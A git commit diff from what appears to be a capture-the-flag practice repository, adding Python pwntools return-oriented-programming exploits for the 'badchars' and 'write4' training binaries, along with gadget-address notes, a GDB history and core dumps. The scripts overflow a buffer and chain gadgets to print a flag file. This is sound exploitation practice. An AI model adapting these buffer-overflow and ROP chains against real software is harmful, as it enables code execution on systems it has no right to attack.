new file: x86_64/badchars/exploit.py
new file: x86_64/badchars/exploit_dirty.py new file: x86_64/badchars/usefullstuff deleted: x86_64/write4/.exploit.py.swp deleted: x86_64/write4/.useful_gadgets.swp modified: x86_64/write4/exploit.py
This commit is contained in:
parent
3f0a1e64c7
commit
3f54969f58
7
x86_64/badchars/.gdb_history
Normal file
7
x86_64/badchars/.gdb_history
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
break pwnme
|
||||||
|
run
|
||||||
|
stepi
|
||||||
|
return
|
||||||
|
nexti
|
||||||
|
stepi
|
||||||
|
q
|
BIN
x86_64/badchars/core
Normal file
BIN
x86_64/badchars/core
Normal file
Binary file not shown.
53
x86_64/badchars/exploit.py
Executable file
53
x86_64/badchars/exploit.py
Executable file
@ -0,0 +1,53 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
from pwn import *
|
||||||
|
from time import sleep
|
||||||
|
|
||||||
|
|
||||||
|
def strfixandcopy(dest, string, badchars, payload):
|
||||||
|
badchar_locations = []
|
||||||
|
fixed_str = b''
|
||||||
|
for n,l in enumerate(string):
|
||||||
|
if l in badchars:
|
||||||
|
fixed_str += bytes([ord(string[n]) - 1])
|
||||||
|
badchar_locations.append(n)
|
||||||
|
else:
|
||||||
|
fixed_str += bytes([ord(string[n])])
|
||||||
|
|
||||||
|
payload += p64(0x000000000040069c) # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
|
||||||
|
|
||||||
|
payload += fixed_str # r12
|
||||||
|
payload += p64(dest) # r13
|
||||||
|
payload += p64(1) # r14
|
||||||
|
payload += p64(1) # r15
|
||||||
|
|
||||||
|
payload += p64(0x0000000000400634) # moves fixed string
|
||||||
|
|
||||||
|
for badchar_location in badchar_locations:
|
||||||
|
payload += p64(0x00000000004006a0) # pop r14, r15
|
||||||
|
payload += p64(1)
|
||||||
|
payload += p64(dest + badchar_location)
|
||||||
|
payload += p64(0x000000000040062c) #does the adding
|
||||||
|
|
||||||
|
return(payload)
|
||||||
|
|
||||||
|
prog = process('./badchars')
|
||||||
|
payload = b''
|
||||||
|
for c in range(40):
|
||||||
|
payload += b'a'
|
||||||
|
|
||||||
|
|
||||||
|
payload = strfixandcopy(0x601be0, 'flag.txt', 'xga.', payload)
|
||||||
|
payload += p64(0x00000000004006a3)
|
||||||
|
payload += p64(0x601be0)
|
||||||
|
payload += p64(0x0000000000400510)
|
||||||
|
payload += b"\n"
|
||||||
|
prog.sendline(payload)
|
||||||
|
|
||||||
|
sleep(0.5)
|
||||||
|
print(str(prog.recv(), 'UTF-8'))
|
||||||
|
prog.close()
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
54
x86_64/badchars/exploit_dirty.py
Normal file
54
x86_64/badchars/exploit_dirty.py
Normal file
@ -0,0 +1,54 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
from pwn import *
|
||||||
|
from time import sleep
|
||||||
|
|
||||||
|
# gotta go FAST
|
||||||
|
# i'll make it clean when I'm not pressured for time
|
||||||
|
|
||||||
|
|
||||||
|
prog = process('./badchars')
|
||||||
|
payload = b''
|
||||||
|
for c in range(40):
|
||||||
|
payload += b'a'
|
||||||
|
|
||||||
|
payload += p64(0x000000000040069c) # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
|
||||||
|
payload += b'fl`f-twt'
|
||||||
|
payload += p64(0x601be0)
|
||||||
|
payload += p64(1)
|
||||||
|
payload += p64(0x601be2)
|
||||||
|
|
||||||
|
payload += p64(0x0000000000400634) # just pops
|
||||||
|
|
||||||
|
payload += p64(0x000000000040062c) # add [r15], r14
|
||||||
|
|
||||||
|
payload += p64(0x00000000004006a0) # pops
|
||||||
|
payload += p64(1)
|
||||||
|
payload += p64(0x601be3)
|
||||||
|
|
||||||
|
|
||||||
|
payload += p64(0x000000000040062c) # add [r15], r14
|
||||||
|
|
||||||
|
payload += p64(0x00000000004006a0) # pops
|
||||||
|
payload += p64(1)
|
||||||
|
payload += p64(0x601be4)
|
||||||
|
payload += p64(0x000000000040062c) # add [r15], r14
|
||||||
|
|
||||||
|
|
||||||
|
payload += p64(0x00000000004006a0) # pops
|
||||||
|
payload += p64(1)
|
||||||
|
payload += p64(0x601be6)
|
||||||
|
payload += p64(0x000000000040062c) # add [r15], r14
|
||||||
|
|
||||||
|
|
||||||
|
payload += p64(0x00000000004006a3) # pops rdi
|
||||||
|
payload += p64(0x601be0)
|
||||||
|
|
||||||
|
payload += p64(0x0000000000400510)
|
||||||
|
|
||||||
|
|
||||||
|
payload += b"\n"
|
||||||
|
prog.sendline(payload)
|
||||||
|
|
||||||
|
sleep(0.5)
|
||||||
|
print(prog.recv())
|
||||||
|
prog.close()
|
40
x86_64/badchars/usefullstuff
Normal file
40
x86_64/badchars/usefullstuff
Normal file
@ -0,0 +1,40 @@
|
|||||||
|
0000000000400628 <usefulGadgets>:
|
||||||
|
400628: 45 30 37 xor BYTE PTR [r15],r14b
|
||||||
|
40062c: 45 00 37 add BYTE PTR [r15],r14b
|
||||||
|
400630: 45 28 37 sub BYTE PTR [r15],r14b
|
||||||
|
400634: 4d 89 65 00 mov QWORD PTR [r13+0x0],r12
|
||||||
|
|
||||||
|
print_file@plt: 0000000000400510
|
||||||
|
|
||||||
|
0x00000000004006a0 : pop r14 ; pop r15 ; ret
|
||||||
|
|
||||||
|
1: 0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret <-- to set registers
|
||||||
|
1:
|
||||||
|
r12: "flae-txt"
|
||||||
|
r13: 0x601be0
|
||||||
|
r14: 1
|
||||||
|
r15: 0x601be4
|
||||||
|
|
||||||
|
2: 0x0000000000400634 : mov qword ptr [r13], r12 ; ret
|
||||||
|
|
||||||
|
3: 0x000000000040062c : add [r15], r14
|
||||||
|
|
||||||
|
4: 0x00000000004006a0 : pop r14 ; pop r15 ; ret
|
||||||
|
r14: 1
|
||||||
|
r15: 0x601be5
|
||||||
|
|
||||||
|
5: 0x00000000004006a3 : pop rdi ; ret
|
||||||
|
rdi: 0x601be0
|
||||||
|
|
||||||
|
6: 0x0000000000400510 : print_file@plt
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
0x00000000004006a3 : pop rdi ; ret
|
||||||
|
|
||||||
|
|
||||||
|
.init_array: 0x601be0 [safe]
|
||||||
|
|
||||||
|
we cant use: 'x', 'g', 'a', '.'
|
||||||
|
['0x78', '0x67', '0x61', '0x2e']
|
Binary file not shown.
Binary file not shown.
BIN
x86_64/write4/core
Normal file
BIN
x86_64/write4/core
Normal file
Binary file not shown.
@ -1,5 +1,6 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
from time import sleep
|
||||||
|
|
||||||
prog = process('./write4')
|
prog = process('./write4')
|
||||||
payload = b''
|
payload = b''
|
||||||
@ -15,5 +16,6 @@ payload += p64(0x0000000000600df0 + 0x00000df0) # addr of init_array section
|
|||||||
payload += p64(0x0000000000400510) # print_file@plt
|
payload += p64(0x0000000000400510) # print_file@plt
|
||||||
payload += b"\n"
|
payload += b"\n"
|
||||||
prog.sendline(payload)
|
prog.sendline(payload)
|
||||||
|
sleep(0.5)
|
||||||
print(str(prog.recv(), 'UTF-8'))
|
print(str(prog.recv(), 'UTF-8'))
|
||||||
prog.close()
|
prog.close()
|
||||||
|
Loading…
x
Reference in New Issue
Block a user